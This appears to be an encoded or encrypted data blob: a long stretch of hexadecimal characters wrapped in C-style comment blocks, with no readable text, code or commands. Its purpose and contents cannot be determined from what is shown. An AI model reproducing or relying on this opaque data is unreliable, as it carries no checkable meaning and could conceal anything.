9aaac82f1de4c242dc28fb25d2b24891c22652a5b925aa8182f9528c48f8d8c87c0d38c59850a7306ebeec6668a5607db89b5bef60ec646681fc337ef9bc53b58d665627cbace449b1c1509753b5706e43cf84b772631c5b6caaed6ce066dbe6bfda9acc4494b4ea21c2236ca23144400fab71e2dc2f47b376f7f26106eea4031ab79cc3b99e14bca7d7a90ae62631b28eddd0c10d3839cb828dfb7973c0602531158d0751271d39a2dfdd129a6b72f835ff01198cc0aa5ce4a9552b2cc216f4b14147cc276bde40d1caa03131b1d9b7b3cb5462c1637dab6963f0a4137f63540b3d0a8c02a8f4d2f208d8a8f9dc5591e5795fc6297ede7498b6555eccb922db68835d581e88592d8e09178382c6cd8c0847a9bf1b6ba77cd1901e1ac006a9a875f4ef51d156c0cdad7658f5d92351ee7480a2f6f733e3c4ce63f757c36a036ea91bd5de8c867f7eda0d48b260ab35da1a86401115a022977ad8ed0cdd100a89c3bd33e528f2c6ad8c800f0400cf66cb843c18fff3f9850da433f01518b20bf126c00c900dec154c7736cfd14537eafc7a3ef8e9f7bdbf84a900e2e9b3f4ff4602d055307122c133b802d710a2b2dd46dc34fcdf38cb753fc6e65a7cf63a1539fee1b477137142aaac6cbaa9564dbe7480032646a85e619a40bff37adb1e88c6c79dd1c808cf04b2abde24d9*/
/*aef4f7c154b247e3c2787e70169176890608502e52fa50caa8e61c9767fa9e517b36b0f21071b6e8981db53f5efbd4c73bcb1aad01b473b21b04d28961729844d162db33086da74a0c528ca4dbdae371ddd6b44b7949a3baa959dcf5496eff53d2c670d34355afc7311001f6965032cf7818ce5a596fe0013ad943c81ba5eb7d962677f271a4790b784b77914d5e6bf2d4f472254c36d640049044b70f81aec9198bc985ff85e711bc3ce53cd0dbe7dd41294d07fda9724b21b0f0898fc7685487857e1c22da1e2d83fd9a0279cf5b9d65d253d2f4ce93cc2526351f47bbf3e7b4192edd1f772c5767488565c3e7ed648b9d2c7ba0a7c0b4b9e6ee3a2ea27a46312b5885b8fb6f008c0adacaddf3e77136acdb1afb6fa15facc5ae06380c4786b6d56904e46d2c894f78c85ce21cf5f8f7819431f636dcd925b812c8531b867c811db98d7480b110d4c12b55254626e84d85acbc906eb86c449253ebf4b4a44372374eebd0ea881ec05841e177d097986a1fda31c39abc149c8bacd6e722a543af15ffd6304ceefb26c9388d98f31cffeeccde7530d0c3454748f7f0f9896ecc9779e2ac21cc5c352c4f0a35719d6d693b079e36df78b4f8bfb9098568c7c1298a3f66bf82752c51e58fb04a3793d8b3eaa6ea1a1054f510f8df6a60ad4adb1ed6bd9e3caf3ef080c776c261f8528e9f8f2609c3e61801cc32b8f091bab3e22bbf10319de499b128bca94fd83fa581265e7bc2e89bd929270c70982cca0451317ac576435be2cb123e2dde65824c4201e419d63e7062fa7237567f9728a32b603777cdd7237ad054c081cd6c9ff800dd7b6a1d14c9ad0bdc5badfbb52f5979942a7b6f26bc8e75830eee7350dd1299ce6ed4cb904abbe288263a848dfae87b4156986d7c1608b40990a5af2487d8d4374603b851733d10007a5b954c6105ccefa6b8d923d47843890de02da2952b2fbf59545f2557d7d4051fa8c1d431c509db7dc4a8cc24285cf7694ed70612a9d31a43f980636f8f641602e2f6f4e8384fd0d6dbd76c409f20f92d414dd0b7b79b10e135c291fb0322b0229152d0ef1adda799c1df8358f6afa43550d3ee60321e40f182cbc528c057e6b6d0516003f88b8191367b318d51d794f2d7c5fffb680d27f8538627cede46cd30ca2af7f2ebceabdf51e9570821ec7cbfb42e9e2cb03149a4a11472ff59b5bfdf04a012af27e2984d11b0d3643ee2e27a45b4d8599d8e198307c7a7f3526436be567b67b78a90fda1522376cfd3b2f127180de087ccd241a0c7c8cc8ce98bc6fb128aee2acbf0fc5552ccd67940e49b2ed1a476479f2bf1bda9ebf8362d33f114c7fef8881bb90dd91ce325f5b9f147f59f552f8b69cb2a0e8d6f7061f245270fd236971c2f844effe52e2d9f68267a24abf134bdf685df74a282aa0a9833e50b191f303237be2f0d974febab54fc1c44c3bb3e0bf1a75047fc768ea8d480fa367f53f20cfd3ebdcfc67425cd0476349101e5a8823752154209efa923ac3995b07727c400a47dd0aff63cf6a3c457943fb9b8d9bf5d89be8eb741fbb337d6fdccd52c202fbe16ada8fffa964e076c05f0350d8883685179ad76464d1d3fdb11a84b4511c5781449e6d617484fad276ce7c39ea57f99ab5058382e7fc1fc3ccedd4c944b2adcc272e39d3f5bec6ee6aa5b06f63881a6f1f34771d64ab80de0fa809227b8232d22a127a6761610baa4a54072c7b67fb8bc0fb30db7f1a3c8626828adfb7e25e0e2b6500241259d279039c19cd2b0215f3a9aa0d328a9c4043c376a2da3f8ddfe493b233349024e90d6ece4ebdbbbd15f8b38e2392ea373e8497e81f5e9d952f87a19da2c74728335627c4a22650af41b9ebc437b9e3758fb75e76dc9f3186ce95dd9c420bf259051a140a670eb48eb926e6ae7af1bec4aa5df3a8ff993b0e5b4a4e830edb07d64f60d56ee551b15e4b870d4fa9ec1d6f26ddf12aafbee77c0d6548bb021828bad87169bdd095d1f6c53508c347404f4e69761a5823f24f463eb095a7ea9681df6226d33fc8f4d8900fc780ad6e4b21aacd67acde9a4597827b794bf5c31947fb2be59d3fe1a3b4dffaedeb80099bf9f4fe8b726fd04d797c9aa4d7afd70afa1796740270db1b076f88f5db4d20bc6035d009c1d46d1bdb0f03be53e5323a877251f9931cf691790d384b0284cde5c3a1664c51d522ac8e0772f9a9a8ecdf32dad033e8431480d01ada2d08f01109368d975ce1182223a29294b21f01010bf290c0038a439af5726e3bc2cb5e329e485b0b6fb4bcae73c740428ea4ac47d32492be98fc786b0892313568a8acb7597f9acd7ab6413c69c283a412e77693153bbaf417d9559ce6199799b6117f612e2f0e59ead31f72f889ad45729e57172538c50af23e6cc2bd144d32e1b695603705f1438e99cd35a010e3d2b45025a8fb514c74ef74569879d87640cec3164d2896bc762acaa7d4b6b6527dacb136017a07642ff49a7bd36665404515a096b186484e6dd0db176611f42cfe2cec5d6c4d40ce808c9b5ac4e59913f9c3c3e6e68b7a9a936eba53cee984a794d37b4a107fd722d3423a50041d041fbf0774041f4bddc3e16969733d029cb7e9313babdb62381acce2dda5d6bca34d8a73f9c07b801f219c9cef62ddc724fea7e7729d9d1896341d8cbfdc85a384d727e3adcec74ca57f54d4c2c7dfe0903e24dca743507d7b239238af4d7120861a24dba65119316e3496322b8fd54fbe14531ea2730a4726467fca2d142adb1f99e6f6f5e037a24e3f4c5d9d6ac7ab981800392edec3903680b8547eebc8f11704bf8a190*/
/*4c8abf72f15f202337449de83c50bb45f36fdc58737326535ad82de41133d7a89c59d5f4c1872b36057b1bfbf4505cd77810dc379f61715cc841d71454df7291c7bbc4ac1f91dce6e7dda848109df7593ded3570438e09880556f480c616bd2cc3538733db6484f559ead4b85ecaf3aefa9adbb4869220c97dae47528bbdd6b3a6f4b7f9da2a702c8393d86fcf56f2fda3749ef8db626bda86f73d5ece623761fd6409037ef85490bb4abd8e05416c63952f30be83c83423166acf4d5d97dbf17a0cf78a270563e608c73adbc8a30a4948bd983e908ccebf68a0e123ae9d1013b76b57c053f67475438fc565ea598975a00308f9c87dde21deecd6680fea79aa630a1cd4a4df3d43fa70b4487d03ca88090f0bfbfb3228b8051e3f73031139e016e07e3ffa76bec46e4013d110b4c1cf7a4183822949fb48f16341bd10213dbbf03e5acab350c801b891cab96e60c9b737c823a59b65f2e389604976b99328e4ad21e463ddad535f8dca5a42d6a0eb3e503768db572cef181fd11257faaaa1b774846ed51a2f01588cf6fc9833fca16e7d870ea245e73d44c845e7f17153de9be52e1f1fc0df3fc60190ba5b0e79fb755cfe27291cf4e62472106f34ba35e02ab4c3be5bbebf72c855dbd2c4a995f9defac89bab08692d842a3fe4efadf89e76281e063bfc5c7b23c0a525de3428080ce3de008f69e45af0e997e530421a5e3576fc3d0a3fb88bc658f94ea9ca6a3964a97b7362493dee7ec37c158d5f691bd9fe88da7ed9f62fa333aef66acc7339c15ff1797bf2245a5963a3f56d12855816638e288593a43e8fef883a2cca4877a710f50e9ef62f53d96b1681bc7b3ed91e3fbd044f414bd1b0bc5d8edf53369edf1289cc861391830ab91af448c504989dd3cde561dc6116e91e46f1db18f2d572e32282d4525b708632ab95feb54e5acc5c94e19a9c4297f91f921955603c87780a0394be4e7d4db3302495be57804cf9fe7b01bfe1a020300389df58290da052956b5489a5ed3c61e56c74b00d873a88908f0f3cf3da553c928fdb296b8fa583b5549551ea87a679dd65b581e54f50da121b32b1ffe56baae0c4bacff5f386c4bcce36d40b50c1d5344d8a25f6cc0e88e75a9437916c32f0d215a8da962b492f935fe0251dba11750b3a8ba0ada0714c3bbc76de6fb48627aa2fdd7b0804fbfedbbf67e9ca2c688382d4dc34cea96481788c4a9314a0edc60e567ed9752699179784c723d9c8c3dfb79d3779d9befd8d6b9f31a105acb8a62b1324bb679aab902d13181985715296e3915e0c1d07c5598fcb152a12266f72e4f60398e37b3d8f17c322d678b9e6bd5fe45236dee6d46bb3e869c65f79ff6f796ce911bb5e77dd0a0be8a4dc43d7b6f5d5f5e40df5bc2d3bb15415167d57b67940c14b2cee7f6043a06135bb75636055d71a1524b9f42e3f86b6236ee841f679ba493fba775f5d85264e482bc2bc30a17a58ca98b2e2bd7b94f089976909d0776fc7a8ab7232f68c1c31e97aced9169c7bd8bfbf759c0c3b43b4c128858f5d869ed920f058812db8945b129e0d5cae1e531bacda0e5b0841feee1b25adde0ea6f286c489e91c4076bbd2fbeb3d6b9b2ac86363c5a629a019950c8ee1923dd3f08d22abcf150fac9ee5834970b615a114019ec8f9e33e19fea3e4939706570bbf716ef464005af45aac3d8a1e63af23f14ddc0ca5b563c970e64705ac1a989bee846ee2a7b1b2f9aa8fe64cefe1cbb96a056b039491948366a2b393b2484d5ff9d7f5ce087ceacc31b00e84514fca2a5ac88bae72cae69c275a426a81fa9b42dbf6f848f22378244fbcbf26aafb355445f493075da490d6d0676d54b1ea711e422ebd62f63c6286d4ef955221c55b4265d67ffca5f22ed02069f76b10e96ffa713554944f25169bab936ecd21e4963ee3072c45220584619e13bf93e4f97f7be55a43a276c567ca76ac892d329d4b3a6bf2071408f3ba3333d83bfa9200df0bc740bf38f3f8f17481d034aaa145815865a0496603e2e4127c15e41bee257aebb4552d5585a0ffbc249f94f921ca9884f08a1d3095616cfd398c2f5788d01f4fb6a4245919f3e51eba281f90b8ba16e1f2018da055650fd706de39b11a0d0aad4310c2abdb404ae3eafb5295bcbc42aa3124c9d4bc6ace5628076fc052e8e8eb8e51838819b3e0c0215d74cd716fe01d9cc57320e612fe38733b09c2d31bde70a9785a0da3d16ef04e781fbdc25d0bfe07cc71d94ef1c90a4fb36090e05c2a92238c5524cda5e3fee0a1325cb69231687da5a8cf636b6814dcd8173e395adbaad50d4216ff8d2ce76d10b8bf59a870e0adc6bfebb2ba523d250d13ed65b35b42831bdcc5b76fc54a550f91cd9465f52671b771cf1d1f544216ad39a49969dfb7577a4c39e8e656e8136b318d350e1d18ca6376a85b98a6d205e65e4153264f7b1e353df6c68d0f070b2fd422433702e3164bf0b72149362f6e481948102ec44f7f30b402ae23f833a043de20dcf92c1c4c65ee6c4f65bfa71b4169f9d096d14383e061888f27f7e9a431d35a55df2b558f89568593a84c0d20f6d138e95d69a9963fd6999a3502e5ed32e4735b289d2e700f6671bd27a90eb3c875f8c71046e2bbb334be9292887d637b2f40ab40f444cba4d5c9bcafae3decf99027520ceeb6aed1737684b3558581123717df4c2545a410f2906b870022c5ff841f4bae97f4d77bcf9fd50773febf7163227da48b212ae42ab4ea4814e6b4d98f190d737c70131eaeeb32b772e512e3eafee4309357a84e9d1e906aeb34ebef3051e3a58e39e1727c91dae6354f*/
/*8d82b3c45276819f6b5b3a1cc4c669039f18b6cd19c4a8dd686396506b692b72564b77bd71314b0c8d98a2d8c52cd6e69451e011ddab6f0832ea35ab1ee697b874f9841775236e08599816639fbafab0721a56c2ff2d8ad3cd2e67a89679f0022772b989492df1f19c5ab22b9fba7c600610e30ffd8c983f625a3d3a080e493b58d1c51fd42e8036ce64d70b9cf870266f871452e8a275b1796de140b2af5c374bbe9e4a04f5dd9e8f95a2ebfe0b74a1b908216505300f7b87a35117ded514ebd04c95bcc601646a9e6c6f028e1ec0da3ff3476a32e3ad2124ff6d0809546c0b8b3a78e98288857d8facb908c93a225110ceb9e9cc41cb073066c284a5d5aaefeee0af546622a2bbe3a3a6a76488a44de76e596431db6a4bdc3df158e1ad8358b76774678698d7a535cd1f0cacbc12ae9fd5af410fb6ea1de7997cf0253c6c4a0a8ec90c3c69c458b33c436c9c93f66c55a5d088f1f2c7be0aac9d5dd35163e0e4829048ec6c9c24c809b165c8924bf36de2f0414c29a8c3b282cc8d5ec6727c75a6b6a60a04410c8e693e82ad8688bb97a73a2e335f24fa0e6d8aa995087711544b23a45b6fa27acf4905815ea94936bde65656e0a7e65632039e2101e86c6cc18071ce518c7245c7110cd33df419788a54389b265910c9c9f4a57a7af8246211d0db8997a42f0083f07ccb410b6a89c3bd562c896e4947f8397aaba48c7d8388fdaec6e673aa53eb5a83beb30d356138357589fc871d3befb6b7c0c169ec96a3f1503e867dba7c4926aad3f7dba808a1fd2919dace03e63214267b7052f39696f69974ce3f967902e2e31e69bd45d5a0bd90619b198565659e0c886d3f1b747553ca307a752b6d4cd0c68e8ab51ce90a22ec7d5d9f77f4315674ff579eb415df838dc00ac3bd30f9255a0d77c288d0838f2312801752e8606eb806a1f7cc1e09ee172f846a877ee25833fb1d5fea75ee64453ab9cec6794baab09daf8a0d881b98f9ff00b28c80ea7d0980dbd329dcd6fa08fad31c0cb9b4dbe94ffe35869174de9aa8ec8789a519af7556bb0174e94b17f530d75e8631be85fd6fee46b761f14f5034fafb3fd45101df5d288b2e3b37e08b7c66838c0aa4e528819383f07710d9b9cc09cd21b603223deec5a5e6a9042621e13121e483595d851d329f8e27b2cc1737c64b7bf9172772566102d29403a2c5fd22d2cf299e4ffc7f2e72f1227107e0cdc61b7c23b83f9a7ed788db3ec9dc1418374a2a6cb57d9df4c7d3c60032e6e1a35585d8b0b5f64690a623d2284efa3dd165ee3b490ec62e517eaa86324fd4a017af93715c006b63651262cec618de58a2eb7a0431f2fe43eb80778cbbb27613a04a70ab3e1e5ed149fd2d281213016ab51a8945693753b3c424bfad93c8f10742b8f795320f3b3303673d6751d34032b5f76b6ed7b3d4f17bdf7e21c48bb9d9e6a031d0a734b4081c1da2d556be27ae5990863c70b39ef648c2a88322204652a154e33077673dc6e20914c24d64e5a42aec08073f02d27c6eb8fbae98c832eb2d12b21db3de32b0f21a59748489e38d11ead335cdfcf096b836acbfbe6ae22d6ac8e7b0417da5507a06cc0db88b96183363a0b2c3f3df3ee78c4575f9aaf1730a6131c2f17a09355ab19187466dbbb6f7ed953b95cda43ff64b31e10a5d1c21b69284e07d5fb50f64d3549d1a38a7f1295e2f358da3f475facfeac265ae91f853450e8989143590bbc181aabae65ceb1e2734b55357859992853b476abda79adf0a6df2ddb8e19c3478dffe12af4704f246124a4ae6f9ab9c74d1a8b19d35e0cdd36e246ea08dbe348b233669290a7d40ddca98bc5617c721d3a7e496d8b4c6895930fd8c05049367a80d9ee42b70548b01d24ccecb9f31d7b7c35ce891a3f339bd73a1c29fa77bd8e84fc7c7d0375e60bda434eafa613eb2b0fbca4b2522fe43d64311d8171e395675b5de892597eb5e9d040ccc75b78e80d23532b966ed1a68ce606588a52b5bfc80d7a3a059440e88287937258289be8277f01b9aef10adda24929e44378a984ec2cc996cf2f0b23e05489bfdbad2e36234a5695af15b6387b46f9488a6a724c1765c1119298a2f428efc66c3103d3fcefdeafb6a221e2afac9e5ad768c96f362d566f533596af8b043ec73366da5f857833a1aa01636b95c8f4bc679f62e3ebd139c2b991c578af904deb15fac7eac07b88d710b94e8877e27cf76c0d3d1469c13f712af7449cc31b7b2996ecff067610536760bfe8d85c8575ddcb4ecbc297176a510075b560d568882f01887686336f133ade09b65e5c9ece273537fbc7a52c2ceceef1ec300d457f759c22de64f3ad57df30d2769267ccb503ee3236fb87fe39895adf99510840b3cf554656faa6816c85b650d8ac2482817cf806f8462eaba977e075e108fe1902bb148ffee8c44ae14ce4be897e27733733fcada25f081e9d5d639b11379400f1c35cbddaaa189e5374c30d864bb9e17d3ec389578c488875d88666034b3771dd1dc662946a874e2d60a161387249949188aac71098789124a3d786bb2fc3538f09190d67c705b48f17cf914eae9400bf276f53983d0f5e9351abee3397e000b231d3a3be51ccb02bd11d676714006c9bf86f7f481259121e5a833ae1933390fe06a6ebaf39ee8ba8b23e0d43cb7300a35d07cd28cdc8e49bb7d14ae1dc0b2c540df11cd2649bcbcb0fdf2a949548b86ce7e1edb4fa98b20005a80b7800182801b6fa586b530f018042c752c1a7926ef7832842ab6d64f27d24bb3545d987ed6c20a17d780798f58845edb1c4eb4bb6f07a9848bc569f243e96f05*/
/*e18c397526ab023c1fa21fd8fe5f3f2b5be8d5ed81e73b845e740596b660b8d2a81d51aa92e759f05f26c3c6a5655fe1354fdce2e29f38dd11058fbb90cc17f2e985bbd54b88d78f69c300b73b89e1eb8c7c47c11a8e89c87fdfaefafc4f94bc0f3622c730480c2d65404c04a1f06c74c18bd1c400f56f987f88e9a4049ac5db47607587cd93b7b95698ecd9eefc28a24af7e5e378646031bab897aa3fc04a27c7b5a2a5a940dfaddba6ca8ee48677bd40b334761f6fcf274c8a820d3590d89517a12fc9af081ab4829951c6ccfba6ea1478b2107ab5899aae01851f97cefa2ed723efa6e1d67a8ec7ce65bc1cd2bb6c7b3aae17ea76420f99b91e9d92d1df46320242929a7fd9354d2740c8c85985b7b370cf89f7cd0d33034cb59b6978d678213c12461457e768f48069999b34dd94feed9e79a92756a3e740546ba64d4ef8481995c7f0950d2cc590fa1cdc23840c30b050bcb0361847da4af612845c05df78a0937100d3fb8cb4764ed5e3464db48cb2cb40385217dc04d1813d5ba239710c211b19977afc3021649ee0a39b695937c18bfcc9b798281f38162066d34ada39de77e050dff4d9f7a62671b89b0811265b60f699dc9b47235f79ad799c2765b40ccb315bfaf1136983cf4789ef2d4b1862b96c1f874e25c77de731bd44a88ffe92474af5c6b059a963af4515d9eaba8aca6fa9c1a120855f22c0f3a782d48763a103628ccab16ca5c392e8622d098634e5a072fec084130a87d3e919324558762102ccd5bc10c86e8aff74ce9fddcde45b946ca935e468ff999e7b1003e5a6311b9ceda786e2ca367d52224112541e0983d49daf010f114995fde09c519f60750747670881a2db0201c3062416b337800883ea2e2f4f2b345d269905ad7e3b820ea09fa52882945fcab8d55e5fd754ff5d91a427c60ed0111a5f58ad134fe57294628c4547dccb39f6d6b2f5361fdeb658a30e43abeab8c644d183145afdb809016660e162236e4eb5e12bdd7bcc558f3fade7f3ea32579efbb457185de0b38a3c8947523321b85cbd6f58e9bdf64e44ae6d4fb6b3b7ec716a6c442dd91f4899b1f0da321a4b059aaea27cd373c727f437d678e9c21f055295d81864aa3d24464caee7bb6b3d88090e0c605f5b5a3cdb00cdba53259ae128deb2bbd5c47e403cc334309851c5a598f8103306969015684b44b5631b9dd7ba6185bed0596693b787bb6764222f70c91c4e965117478a583360dcceff60a62efd4743d8c0a6257fa1468c1c86ef7272c99c8ee676a29490f84391ab271ae5b9eb738d1431e14eb71ca23a304b5bc0d0fe8ed3ec4c5faa57637adc95a0b58c161acd49c3063c3bcc9db074dc4895ddb41e71887d2cbaee145ba2c40e4ca51075b9e2200332300ba1f6181eb0c9848dfd8cc15711d45cc7282e1f4a613d73cc84bd7cd8d1509c9b74c2980be76ba7d9eef4e027fb700e0c19136ff55c5d0f4c4923aa11a8e0f4ff65ce73c0b0611aaf0ea06cb02617ebbf721569a8068cc1f134929261fd554112519a54c10c9baef1c90b1463f1548719492a770fd2b780dd80575e8eb747458a5121cdf2d51f97de5273e5e83f6bf756549519dee3314e3d1df0f9d0c3774c95e93587eeee5d281b9782060ac76c269a7742becd2954eaf77a8bf1844d881c21cb5ba4a767f8a26897f38ecb8e2d296e19259ad27979517ce6e285b4e658863d15dbfd6958d134da5a79398fc1b40579fcc1e4ad7ef02bd56289df63f7a81d519599db761aa81662d05d570e3cb3b235b96d436af1395c5c20c58160ab4983f3add7ad077c66b04c9360a7e3d9aaf04fee2f37891dbaa1cb2b02be0a78d1af2a88a96bf86778c87330d24b207a350535d6bef13ab47016735d6aa69ebffc9accf93c1fb9b2cda2e585256ec6552801b840d984efb53316efc4cb0defd4cb89e330f0230f6100cfa520a66a52b38ae8edfc6b88cf3e841fd3295cc35fc7fa78fefe0f70ea5a6732846099a2118e91c6cdee9183716484463ed7c2bb0a3c8457a1c6e6fbeaa57a267cd5e81dcd52570ab8c83ba5b5118325da91adc2a1d132fb42e5069a119e12f49973f4a69bb81c00e7c9a1f5f8c51f9e5ad113249da0ba2d85181cc0e422156dc1f5d013e7760da9ad1f16c85d05536ce5a424efa4b00a57b2b3e206468b0e96212d6dc0fc2165ed9a965d33489b1a27f33e948329f19228c26b7f0f67a1840ff49df568749a1f7f2877b5177953bcbc9779f13365fb9ad6f289a58866751f968ba1a267d51fd1c3cfc4630fb9610790dc02464c1bb8fda5541d563e1f8ea43f4e3d2713850a87c9132bbc10255781a14933c35718e0f6399d57b4a1552fd4eb8b69993f25f75074e753244f873029d24940e45b6e31b12bba8264531dc1cd3d295d275a1e7c48f6720fcc91bb2bad115048e6921ac7f53b10c5b380213db6ecacf719e22a6d26b7e29bb943ad97e982461acde2976bae0550da6d253f6f6afad0b1d113ff90ffff1cfc27227df34e8200541a970ae3a16afb7360e0e0508529f625019f57d6ff2531674a1ef94d3d538c45bcc302b97734d29c42f1ccde8af645da785d5fdc5cedc8ae813de222dc0707814b6169845565ced07c942ee0e8b077501b5f3ca2d10db0410df4099cf7cd317303099adf6ca2410624dd62db880d8160caaf875b0dd19f3607f1502a75a1f6396c20d6852d05f5ceb41d57c773a03c6dcee2c5392b4d975b5813c71c41eda4b1336c555285210c54a3f6312eddaae1a555869cb6f5a97de29a3b0c6894405d69067adfce0f054872984cafe26d0c2729883ca2a0bd6722*/
/*c51f8f05fbab880441a4253c825e9999b562de5795e2b9a23f5db1115b5e9adc9442ae0441c02f1467e8ca14d0ff4addb7042716d7febcdb111f07f7d30c051977de20f5c123059e84b7d45b12a05187e3caa625486840b9aacc9de50292cb9831ecaa32f239987a3256be81b325e50d51d7da34092296ce39491f05a016b4e993d9254d2da57c87741f34fb398c2ad73b5df6ffa8ca77dfa52e1632b89c81dc33f9939d16bd8119187d7c3193a04522c5cb63bbb13a2b99b9937b0c53c2cb41879086b8798bf97324fc78b246265957c5d221f8a1cf3c5285166772134b0321acc7fb1650ca708783133f2a573e2d1e5d27efea13f6a9c79c9f208349529f4f7228239b8497c925157dff525c82a81e046d8130501fb2f718bff4da51d09b16366558b450fa07e0281c8186f2ec1753e8c8b1ecdc7d9257cb77a40c9127039062c5b7b25788ba02b13ca41d5f2c301196e45bce934e64308d084d121cb750aec94b897205e0f17c3afb22c8170d4c3084df247f43042c3416cb2549988df71ffb07dc5f0e6ed07644eacd282c2661d43c91db95a7b3f63e0695ce86b464ee1fb27c290b536ccc8bc92e60fd0c7e25a4a694d0173d433f9711e39907725ee5c7e4c8facfbd5ed92cc0a1658839524e938c529576d5401eb4cb5477d7e21e1dfe15c25b5a586ff950b7f4a9a45d5d1cf82d354f9f1331735fd6179f82d086ec958e80e9a111dae17ce0651d8d17930d7e1200f180ef4ed3f2deff215c0da44a0acc265736c1c87d4f546f4902b0a92bb5a66539fe58561690af5f1bf46b5bacd5eb3102e6bda545043193207b7c2ac1206d82979778c195beeb3ae2088c411d447af5642d51b552896516c1e3265c6d062e3341409d747296ad1273e0f6a4bf9e660035569e1b27acd4d8bd46e28fb500ac20f1924c754eaa7d30fd68521553668385e4b8aad910a8f407504d888d988a2ef55c95ccca7821da278ba2c3990583b5989a53d582aaf99d3c77ce027c6911b11c22c546cbdde8282431927eb328e2366094c10e660339a3a42dc50222893943f4c66e432fec010ad07cdd949961c8838015e7ac1771de41d39b0b7599942fdb64ab28a4f13a21891e47c0987dab6255ec66871437df357098b217a2f121e3ad0e5f2d0f61bcf015bc2af9c7cc87372f221040d0b9681bf0ace46a71072b6ea291b7e2408ae66168ac66a80ad13dc4bfd75a45648fcbdcf33b072f8d804bf764e8fe5e0e8e26a180cbac528fee8cbffd9b83ae520223f1a2fc8fffd141942358bf151d001d9265b48ff040cf2d4db6af543eed29aa172cc19ab3c200d35d9aa637cf8fb7e98419ba0f5e2993b18f89e7ab0e11e85b5cf30f368168a8768cc4aaec893ebb8d7470b800efeb223588f0fd5bd4d123cce8162ad56494f6e26125723284ed207f042e9b6d7fc719bb669657bd81a9472773b51e8233bfae463c9d90c443fdb1c79b1b5761aad30e39a57d7f2c6786399916b1ff53553d48212547ec3dfc557323fd4cb21922cf7dae66d5648218991854729c852ba48c5668d2266a1ee7bbbf9ec75c57d1857f748fe055f7df35d179bc00eac5ca1524747bac0374ba63b7da5e22326f7f4ac4f296ae74c3d0dd30ac72e26c69b231d780b36dc4bc896aa013e54f4c62bbec38ad902d3e0ea1f175d47069e92276713ff8f041f462058222ea4482094fe20d6abfa0a411616011c62b729bbc08d665d33778942ba804e843820c8e5348de39ca25f17d5aa195699d563c26ee13bb21dbf97f05cbd1e92cfee99a8c845ad104312356de9d2d9c06e3db9b6da1d82a03f9d91e48374f88df250e737ff3e72617ecea6b71629e6d3d5343085423fd031131515d74bed43e7007ef8284ce3776ed1966a5c6489fce82c41d6e6ad60ec463b5ee87c2fa128b0a17f19b121bca4beb141cd4b19efaf512a5c8dad5d0b5c98677d8c0fb19569d27269b5af065c60634b8a99e36db5a2bf67598e7d1d061e25534efc9218278ac6175f82050e4b71dd921e09738ea0386f994285726fd83418134d5c39d4a2ef82a6ea99cf6d2f26f042269087132b21bf1332a5e37c7def7642948f5895f777efb70f2ab6e8a4b1a41bde95154048571e42192b21012b1cf994c705a12f7d5b387e3df95b8dcfff505b0f65b8448327fc357dd7283bde1c60374fe4b9a184a483644491f74aa3616738abbfd7a2ce75758dc2cbbe0de7875fd7c17ae7fb3ff3c16588494a6e0250ae8fff317a09667861f48266ce22eaf4074bd5dbf7f15bc583d73d36b62261b52513cf10b4c383ba1db2d61aa98211541c66b2f5c61cc23751ce2dbe49a36a10f656b1de1360d37eb25cf38b5952475151e7c259e09dc74cde50ecac5deca1d78fdc6fbaf34023ce01e2fb4e112482e93058781cb5862641b27314198d089cc9797c595ae8cd2a4249b189ce3f6a2511c2b4d38a8da897bcdf731466e5e713efc8287f515e880dc2812ce054a93a963579f3104fb38f6bb3f5a9e9dcf925db27aec9924170b76eb2f8f3a02b1dbe603c319647059416982799d50725c968ceae7ea065a9cf51ae36ccd256ef4d8caec4d35ec02582f3965a1f2a4a9a63ed546797b020c25647402ad217706dd7adf733d48f49d6f1f37fb612fa5b3d74d60be59fa9db8a389fe77e0d9169f19c1420622f15d2ab2651a8c173e5d6b4a0d497287556949dd3327e8796c5e2e18d0e5f0c6b7eacee69d2f89c3c8d8870737401f5709f9e5c76f40c31ba8d1c136b0452c408aa041485d00a53d02db0c6ba2c65e1aaceade2b5dabb92817c9ec932c2e8f2e8d4d361fd35b*/
/*ef2e02eac5fc66f46d6beadb3374cae8e54d11d8fd0cf136195b69f6bc49855bb254913595d0b2190fa4403fc7165b2de43e825b0db5b4298b4a57b0fd8788140e426124bf08d97e27d173fb5802fc0a3f8673680c799b66b182f2af759c06221fa97480562022e53d84db4d605466bc9b2a849f3fbb5a501d15c9d9014c6d58e6133e2c512a9a06981a8cb6f777b8a296ef4833bb694d62be69d05d6d1fb57cc0910382b44234328403ef30ef516eaabc3e938b07dd185e54059312b79c27f582c6a3150845f8d558123e0d9a4c527469941ccf8aeb7758ae96e863eb983e7f75f841af30a10c4ea5979acc45e3e00b9bc8cf030fbf2b537b6f6725df12eb33e72fbbfe3d1222c0e66aeda37b4df20969e2636366779c516279d688a41478669c55583a18ee4f5ae7801a3272d0458c6002d2690795d7cd3dba68eba14bfedb675b1cb05cc3248c1cc33a6b14b64743c321b6f94468d8eba995d4e401b59ceebc207b80837f0e7ab6f0f08e0a7dd5d1d1c989083bce0d31143a3d3b328e986d75dc9ce1f92c69b64d6dba88951585b505a39bb166cf9ad50ee7976c94e845aaf70331016905c551fcfcee3af8f9bceb2016aebae4e89108dd242dd93fe840d3bf7b90163912700be5e0bb0c7329eb6f21c1111afa10f3801160e6d1976f366bcae86a50b6ba8c1242efc7cf390e1dd9223d9291d1024f05565e16f9c36442a0073c1483ef1c33547aff6a2f7587c689ae27197bb1c9706cbcd86317f086286e1f17b78b428483eefd0843a4d73ee1e1836571173d39be922953f16e16caadb0cb1b8e8979f4b69121300e308276583a042ac23e0b1e6de286a014cd9ffbf676634519385f92482a2c317800f6feec0473f9b345e66587cc5b629d318b0db059b8e187566191c950f09a4aa8fea001b8e4b937f1f85a2cc86414ca1aabe9359c5226d89fdce9a75bd438517b88bb39980f5e935fe2261a41da1cf9a45d96ef903e114e61b76dc8d5f1f80174a750037f073f230587f051ab37fba06cb01f4032c6821ad6b24bf7cc026b3a73f806e2c1c18ba7977f962894bd225cab9b78fec93a0095cfe93d7cc3301c8371cab740880d2f7b4119501a74ca7e3ee0e5da5742195de51f8cb4cd7a930c068fb00a73142ea72f56a41f410efea2303bcf1d43eef60f7d8a5f6ee800bee9137167ea95088b2698d06d11e136b28a660a609f2126e37705053f9cb5d87b81c2229d992c46722a421dcb9457f2ae0acba3bef7050f4a8f034792ea09435de7652467795edde847c001eebc05c55bfc52b9874a670ff08a3f6399408bbd19d2d3a8b9e18f09722c0e32c3a94c27f73e533ab65d840c4eb92911148df814e16f4a922585ba40c63986d16a3b2d40504aa81a6b884ec66a956cabbcb979ce1cac2d9ed2e1b4a7472f3171a60aeaab4d60f65239e8973f98d42cc57b7fe45fd17e4d863c54c7